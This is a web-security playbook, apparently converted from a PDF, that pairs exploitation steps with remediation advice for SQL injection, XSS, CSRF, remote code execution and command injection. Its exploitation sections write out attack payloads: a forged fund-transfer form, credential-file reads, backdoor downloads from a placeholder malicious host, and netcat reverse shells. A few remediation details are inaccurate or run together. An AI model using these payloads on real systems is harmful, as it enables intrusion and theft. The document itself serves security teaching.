# ULTIMATE VULNERABILITY PLAYBOOK

A STEP-BY-STEP GUIDE TO UNDERSTANDING, EXPLOITING, AND SECURING YOUR SYSTEMS

PART 1



	SQL INJECTION
Brief Description of SQL Injection	SQL Injection (SQLi) is a common attack technique where malicious actors manipulate an application's SQL queries by injecting malicious SQL code into input fields. This allows attackers to interfere with the application's communication with the database, potentially leading to unauthorized data access, data modification, or even total database control. SQLi can expose sensitive data, bypass authentication, or allow remote execution of arbitrary commands.
Detailed Parameters	<ul> <li>User Inputs Not Properly Sanitized: Untrusted input is directly included in SQL queries without adequate validation or escaping.</li> <li>Dynamic Generation of SQL Queries: SQL queries that are dynamically constructed using user-supplied data are particularly vulnerable when no input validation or query parameterization is applied.</li> <li>Use of Concatenated Strings to Construct SQL Queries: Concatenating user input with SQL query strings can allow for malicious SQL code to be injected, leading to attacks.</li> <li>Lack of Input Validation: When user inputs are not validated or sanitized, this opens the door for attackers to inject harmful SQL code.</li> <li>Finding User Input to Communicate with Database: Identifying which parts of a web application accept user inputs that interact with the database is crucial for both attackers and defenders.</li> </ul>
Step-by-Step Exploitation Guide	<ul> <li>Step 1: Identify User Input Fields in Web Forms or URL Parameters</li> <li>Use tools like Burp Suite or manually review the web application for any user input fields (search boxes, login forms, etc.) or query parameters in URLs that interact with the database.</li> <li>Step 2: Input Malicious SQL Commands</li> <li>Input basic payloads such as 'OR 1=1 or ') OR ('1'='1 in user input fields to test if the input is improperly sanitized.</li> <li>Step 3: Observe SQL Errors or Unexpected Behaviour</li> <li>If the application shows database errors (e.g., SQL syntax error or similar), it may indicate the application is vulnerable to SQLi. Unexpected behavior like bypassing login forms is also a strong indicator.</li> <li>Step 4: Determine Type of SQL Injection</li> </ul>



- Test for various types of SQL injection:
  - Union-based SQL Injection: Inject a payload like UNION SELECT to combine results from another table or database.
  - Error-based SQL Injection: Use payloads that force the database to return an error with sensitive information (e.g., column names).
  - Boolean-based Blind SQL Injection: Insert payloads that return TRUE or FALSE conditions to infer whether the SQL query is valid.
  - Time-based Blind SQL Injection: Use SQL sleep functions (e.g., SLEEP(5)) to detect injection based on response time.

#### Step 5: Exploit the Vulnerability

 Once a successful injection is found, exploit it to extract data, bypass login forms, or execute other attacks. Use payloads to retrieve sensitive information, dump database contents, or gain administrative access.

# **Detailed Remediation Guide for SQL Injection**

#### • Use Parameterized Queries (Prepared Statements)

Replace dynamic SQL query generation with parameterized queries, where user input is treated as data and not as executable SQL code. Most modern frameworks provide APIs for this.

#### • Implement ORM (Object Relational Mapping)

Use an ORM library to abstract SQL query creation and enforce safe practices, eliminating the need for manual query construction and preventing SQL injection.

#### • Input Validation and Sanitization

Validate and sanitize all user inputs to ensure they are in the expected format (e.g., integers, specific text) before passing them to SQL queries.

Disallow special SQL characters like single quotes ('), double quotes ("), semicolons (;), and comment symbols (--) in user input unless explicitly required.

#### • Use Least Privilege

Restrict database user privileges to the minimum necessary. For example, the web application should not have permissions to drop or alter tables.

#### Error Handling



Configure the application to handle SQL errors gracefully and avoid exposing database error messages to users. Instead, return generic error messages and log detailed errors for further investigation.

• Web Application Firewall (WAF)

Use a WAF to detect and block common SQL injection payloads. Tools like ModSecurity can help in preventing these attacks.

• Perform Regular Security Audits and Penetration Testing

Conduct regular code reviews and penetration tests to identify and fix potential SQL injection vulnerabilities. Use automated tools (e.g., OWASP ZAP, SQLMap) as well as manual testing.

• Use Escaping Techniques Where Parameterization is Not Possible

If parameterization is not feasible for some reason, use escaping techniques to ensure that special characters in user inputs are handled securely without executing as part of the SQL query. For example, escape single quotes

Cross-Site Scripting (XSS)			
Brief Description of Cross-Site Scripting (XSS)	Cross-Site Scripting (XSS) is a vulnerability that allows an attacker to inject malicious scripts (typically JavaScript) into web pages viewed by other users. When a user accesses a compromised page, the malicious script executes in their browser, potentially leading to session hijacking, redirection, or stealing sensitive data.		
Detailed Parameters	User Inputs Not Sanitized: When user input (such as comments, form data, or search queries) is displayed back to the user in the webpage without sanitization or escaping, attackers can inject malicious JavaScript.		
	Dynamic HTML Generation: Websites that dynamically generate HTML using user inputs without properly sanitizing them are at high risk. This is common in frameworks or environments where developers manually build HTML responses.		
	• Types of XSS:		
	<ul> <li>Stored (Persistent) XSS: The malicious script is stored on the server (e.g., in a database) and executed every time the page is loaded by any user.</li> </ul>		
	Reflected XSS: The script is reflected off a web server (e.g., in a URL parameter or form response) and executed		



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	immediately, typically targeting the victim through a crafted link.
	<ul> <li>DOM-based XSS: The attack occurs on the client side, where JavaScript modifies the DOM directly with untrusted input.</li> </ul>
Step-by-Step	Step 1: Identify Input Fields
<b>Exploitation Guide</b>	Find user input fields, such as search boxes, comments, or forms, where user data is reflected on the webpage or processed without sanitization.
	Step 2: Test for Reflected XSS Inject a basic XSS payload such as <script>alert('XSS')</script> into the input field or URL parameters. If the alert box is executed, this indicates the web application is vulnerable to reflected XSS.
	Step 3: Test for Stored XSS Inject the same payload into forms or areas where input may be stored (e.g., user comments or message boards). If the script executes when the page is revisited, this indicates stored XSS.
	Step 4: Exploit the XSS Upon discovering an XSS vulnerability, inject more malicious payloads such as:
	<script>document.cookie</script> to steal session cookies.
	Use JavaScript to send the captured data to a malicious server.
	Step 5: Bypass Filters (If Any) If basic payloads fail, try bypassing security filters using obfuscation techniques (e.g., using different encodings like <script>alert(1)</script> ).
Detailed	Input Sanitization and Output Encoding
Remediation Guide for Cross-Site Scripting (XSS)	Sanitize inputs by removing or neutralizing special characters such as <, >, ', and " from user inputs.
	Always encode user-supplied data before rendering it in the HTML response using functions like htmlspecialchars() in PHP or equivalent in other languages.
	Contextual Escaping
	Ensure output is properly escaped for the specific context in which it appears (e.g., HTML, JavaScript, URL). For example, use JSON encoding for data embedded in <script> tags and URL encoding for query parameters.</th></tr><tr><th></th><th>• Content Security Policy (CSP)</th></tr><tr><th></th><th>Implement a strong CSP header to prevent the execution of inline scripts and mitigate the impact of XSS attacks. For example:</th></tr></tbody></table></script>



Content-Security-Policy: default-src 'self'; script-src 'self'; object-src
'none'
Use Secure Frameworks
Use web frameworks like React, Angular, or Vue.js, which inherently protect against XSS by automatically escaping user inputs.
HTTP Only and Secure Cookies
Mark sensitive cookies (like session cookies) with the HTTP Only and
Secure attributes, which prevent them from being accessed via
JavaScript and ensure they are only sent over HTTPS.

	Cross-Site Request Forgery (CSRF)		
Brief Description of Cross-Site Request Forgery (CSRF)	Cross-Site Request Forgery (CSRF) is an attack where a malicious website tricks a user into submitting a request on another website where they are authenticated (e.g., submitting a form, changing account settings, or initiating a fund transfer). This is possible because web browsers automatically include authentication credentials like cookies with every request.		
Parameters  • User is Authenticated on Target Website:  CSRF exploits rely on the user being logged into the target website attack works by tricking the user into making requests that they are authenticated for without their consent.			
	<ul> <li>Absence of Anti-CSRF Tokens:         Websites without anti-CSRF protection allow forged requests to be submitted with the user's credentials.         Actions Triggered via GET or POST Requests:         Critical actions, such as fund transfers or account updates, can be performed via predictable HTTP requests. These actions may include GET requests     </li> </ul>		
Step-by-Step Exploitation Guide	(which are more susceptible to CSRF) or POST requests.  Step 1: Identify Target Action Identify sensitive actions that can be executed via a GET or POST request. Examples include changing account settings, transferring funds, or submitting forms.  Step 2: Craft a Malicious Request Craft an HTML form or a script that automatically submits a request mimicking the target action. For example: <form action="https://victim.com/transfer" method="POST"> <input name="amount" type="hidden" value="1000"/> <input name="recipient" type="hidden" value="attacker_account"/> <input type="submit" value="Submit"/> </form>		
	Alternatively, craft a GET request as an image link:		



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src="https://victim.com/transfer?amount=1000&recipient=attacker\_account" style="display:none;">

#### Step 3: Trick the User into Submitting the Request

Host the malicious form on your server, and trick the target user into visiting your site (e.g., through a phishing email). When the user loads the page, their browser will automatically submit the request to the target website.

#### **Step 4: CSRF Exploit**

Once the forged request is submitted, the user's credentials (such as session cookies) will be sent with the request, causing the target action to be performed without the user's knowledge.

#### Detailed Remediation Guide for Cross-Site Request Forgery (CSRF)

#### • Implement Anti-CSRF Tokens

Generate a unique, unpredictable CSRF token for each user session and include it in every form submission or state-changing request. The server must validate this token on receiving a request to ensure it came from the legitimate user.

#### Same Site Cookies

Set the Same Site attribute on cookies to Strict or Lax. This ensures that cookies are not sent with cross-site requests, preventing CSRF attacks.

#### • Validate HTTP Referer or Origin Headers

Check the Referer or Origin header to verify that requests are coming from a trusted domain.

#### • Use POST Requests for Sensitive Actions

Avoid performing sensitive actions (such as deleting accounts or transferring money) via GET requests. Always use POST for state-changing requests.

#### • Re-authentication for Critical Actions

Require users to re-authenticate or provide multi-factor authentication (MFA) before performing critical actions, such as password changes or high-value transactions.



Re	mote Code Execution (RCE)		
Brief Description of Remote Code Execution (RCE)	Remote Code Execution (RCE) is one of the most dangerous vulnerabilities. It allows an attacker to execute arbitrary code on a target machine remotely, giving them complete control over the affected system. This vulnerability often arises when untrusted user inputs are executed as code without proper validation or sanitization. RCE can lead to full system compromise, data theft, service disruption, or the spread of malware across networks.		
<b>Detailed Parameters</b>	Unvalidated User Input:		
	Any field that accepts user input and passes it to the underlying system for execution without validating or sanitizing the input is susceptible to RCE.  Common sources include file uploads, forms, query parameters, or any other user-controlled data interacting with system commands or APIs.		
	• Dynamic Code Execution:		
	Applications that dynamically execute code using functions such as eval(), exec(), system(), shell_exec() in various programming languages (PHP, Python, Ruby, etc.) are especially vulnerable if user input is passed to these functions.		
	• File Upload Mechanisms:		
	Improper file upload handling can lead to RCE. For instance, if users are allowed to upload files to the server and these files are executed without proper verification, attackers can upload malicious files (e.g., web shells or scripts) that will run on the server.		
	• Server Misconfigurations:		
	Servers that are configured to run scripts or commands based on user input can be susceptible. For example, allowing users to specify the parameters for shell commands or API calls that interact with the system can lead to code execution vulnerabilities.		
Step-by-Step  Exploitation Cuide	Step 1: Identify Input Fields That Interact with the System Look for user input fields, URL parameters, or file upload		
Exploitation Guide	mechanisms that are likely to interact with the underlying operating system (e.g., forms to upload images, forms that process commands, etc.).  Step 2: Test Basic Command Execution Inject common command-line commands that can be used to test whether the input is passed directly to the system. For example:  • Unix:; ls,; whoami • Windows: & dir, & whoami If the command's output is reflected in the application's response, it indicates the application is vulnerable.  Step 3: Escalate by Injecting Arbitrary Commands After confirming that command injection is possible, craft more complex payloads to manipulate the system. For example:		



#### • Reading Sensitive Files:

- Unix: cat /etc/passwd (read password file)
- Windows: type
   C:\Windows\System32\config\SAM (read system accounts)

#### • Download Malicious Code:

- Unix: wget http://malicious.com/backdoor.sh;
   chmod +x backdoor.sh;
   ./backdoor.sh
- Windows: powershell -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\temp\malware.exe"

#### Step 4: Establish a Reverse Shell

- A reverse shell allows the attacker to maintain long-term access to the system. Once the vulnerability is identified, the attacker can gain full access by sending a reverse shell payload.
  - o Unix Example: nc -e /bin/sh attacker ip 4444
  - Windows Example: nc.exe -e cmd.exe attacker\_ip 4444

In both cases, the attacker needs a listener on their machine (using netcat or other tools) to catch the connection and take control of the target system.

#### **Step 5: Exploit Full System Compromise**

 Once remote code execution is achieved, the attacker can escalate privileges, persist access, exfiltrate sensitive data, or use the compromised server to launch further attacks (e.g., ransomware deployment or lateral movement).

#### Detailed Remediation Guide for Remote Code Execution (RCE)

#### • Input Validation and Sanitization:

Whitelist Input: Validate all inputs against a whitelist of allowed characters and formats. For instance, if a field should only accept numbers, restrict input to numeric characters.

Escape Dangerous Characters: Escape or remove dangerous characters such as ;, |, &, >, <, and \$ from user inputs that could be interpreted as part of a command.

Use Prepared Statements: When interacting with databases or command lines, always use prepared statements or parameterized queries to avoid direct injection of user input into executable code.

#### • Disable Dangerous Functions:

Remove Execution Functions: Disable or avoid using functions like eval(), exec(), shell\_exec(), or system() unless absolutely necessary. These functions can easily lead to RCE if improperly handled.

Restrict File Uploads: Limit the types of files users can upload, verify their file type and size, and never execute uploaded files. Use strict validation to prevent the upload of executable files.



#### • Enforce Strong Permissions:

Least Privilege Principle: Ensure that web applications and users do not have root or administrator privileges. Run applications with the minimum necessary permissions to limit the impact of successful attacks.

Isolate Processes: Use containers, sandboxes, or virtual machines to isolate processes from critical system files and services, reducing the blast radius of an attack.

#### • Code Reviews and Security Audits:

Review Vulnerable Code: Regularly audit and review code that interacts with the operating system, command-line tools, or interpreters. Focus on sections where user inputs are processed. Static and Dynamic Analysis: Employ both static code analysis (SAST) and dynamic application security testing (DAST) tools to identify potential vulnerabilities early in the development lifecycle.

#### • Use Web Application Firewalls (WAF):

Implement a Web Application Firewall to detect and block malicious payloads. WAFs can provide an additional layer of protection by filtering requests that contain known RCE attack patterns, such as command injection strings.

#### Keep Systems Updated:

Patch Vulnerabilities: Keep the server operating system, web applications, and any dependencies (e.g., libraries, plugins) up-to-date to mitigate known vulnerabilities that attackers can exploit for RCE.

	Command Injection
Brief Description of Command Injection	Command Injection is a critical vulnerability that occurs when an attacker can inject and execute arbitrary commands on the host
, and the second	operating system via a vulnerable application. This typically happens when untrusted user input is passed directly to a system
	shell or command interpreter without adequate validation or sanitization. Command Injection can lead to full system
	compromise, allowing attackers to run malicious commands,
	exfiltrate data, or even gain control of the entire system.
<b>Detailed Parameters</b>	Unvalidated User Input:
	Command Injection vulnerabilities are often found in input fields or parameters where user-supplied data is passed to system commands. Examples include search forms, URL parameters, or file upload paths that interact with the command line.
	Concatenation of Commands:
	Concatenation of Commands.



injection. For instance, if a filename or user-input value is appended directly to a command such as ls or ping, an attacker can inject additional commands.

#### • Shell Execution Functions:

Applications that use functions like system(), exec(), popen(), shell\_exec() (in PHP, Python, Perl, etc.) are at high risk if user inputs are passed to these functions without proper filtering.

#### • Special Characters:

Command injection typically exploits special shell characters such as:

- ; Allows chaining of multiple commands.
- & Executes commands sequentially.
- | Pipes the output of one command into another.
- > Redirects output to a file.

#### Step-by-Step Exploitation Guide Guide

#### **Step 1: Identify Vulnerable Input Fields**

Look for input fields that accept user inputs (e.g., form fields, URL parameters) that appear to pass data to the underlying system for execution. Common areas include file upload paths, ping commands, or search functions.

#### **Step 2: Test for Command Injection**

Begin by injecting simple special characters into the input field, such as:

- Unix:; ls,; whoami
- Windows: & dir, & whoami

If the output of these commands is displayed on the web page or system response, the input is likely vulnerable to command injection.

#### **Step 3: Escalate the Exploit**

Once you confirm the vulnerability, inject more complex commands to gain deeper system access:

- File Disclosure:
  - Unix: cat /etc/passwd (lists user accounts)
  - Windows: typeC:\Windows\System32\config\SAM
- Download Malware:
  - Unix: wget http://malicious.com/backdoor.sh;
     chmod +x backdoor.sh;
     /backdoor.sh
  - Windows: powershell -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\temp\malware.exe"

#### **Step 4: Establish Remote Control via Reverse Shell**

Inject a payload that creates a reverse shell to connect back to the attacker's machine. For instance:

- Unix: nc -e /bin/sh attacker ip 4444
- Windows: nc.exe -e cmd.exe attacker ip 4444



Set up a listener on your machine (using netcat or a similar tool) to
capture the reverse connection and gain remote control over the
target system.

#### **Step 5: Post-Exploitation**

Once you gain control of the system, use privilege escalation techniques to gain root or administrator access, exfiltrate sensitive data, or pivot to other parts of the network.

#### Detailed Remediation Guide for Command Injection

#### • Input Validation and Sanitization:

Whitelist Approach: Validate all user inputs against a strict whitelist of allowed characters and inputs. If input should only be numeric, restrict it to numbers only.

Escape Special Characters: Escape or remove any special characters that could be used for command injection (e.g., ;, |, &, >, <, \$, &&, etc.). Many programming languages offer built-in functions to escape such characters.

PHP: escapeshellcmd()
Python: subprocess.run()

#### • Avoid Direct System Command Execution:

Use Safe APIs: Instead of directly calling shell commands using system() or exec(), use language-specific functions or libraries designed for safe execution. For example:

In Python, use the subprocess module instead of os.system(). In PHP, avoid using shell\_exec() and use language constructs that don't involve command-line execution.

#### • Parameterized Commands:

If you must interact with the command line, ensure that user input is parameterized properly, and avoid concatenating user input into system commands. For instance, instead of:

```
system("ping " . $_GET['ip']);
$ip = escapeshellarg($ GET['ip']); system("ping $ip");
```

#### • Principle of Least Privilege:

Run Applications with Minimum Permissions: The application should run with the minimum necessary privileges. If possible, isolate risky components (such as those that run shell commands) in a secure, restricted environment, like a sandbox or container, to minimize potential damage.

User Privileges: Do not run web applications or their dependent services as root or administrator. This limits the attacker's ability to escalate privileges if they successfully inject commands.

#### • Regular Code Reviews and Audits:

Periodically review code that interacts with system commands or shell environments, especially those taking user inputs. Perform



thorough security audits to identify potential command injection points.

Use Static Analysis Tools: Static analysis tools can help detect dangerous functions and insecure input handling in code. Incorporate these tools into your development pipeline to catch vulnerabilities early.

#### • Web Application Firewalls (WAFs):

Implement a WAF that can detect and block common command injection attempts by filtering out malicious input patterns. WAFs are a supplementary security measure that helps mitigate injection attacks.

#### • Limit Command Execution:

Limit the range of commands that can be executed by the web application. For example, if the application needs to execute system commands, restrict its permissions to only specific commands (e.g., only ping, not the entire shell).

#### • Log and Monitor:

Log all system commands executed by the application and monitor these logs for suspicious activity. Monitoring command execution can help detect and respond to command injection attacks in realtime.





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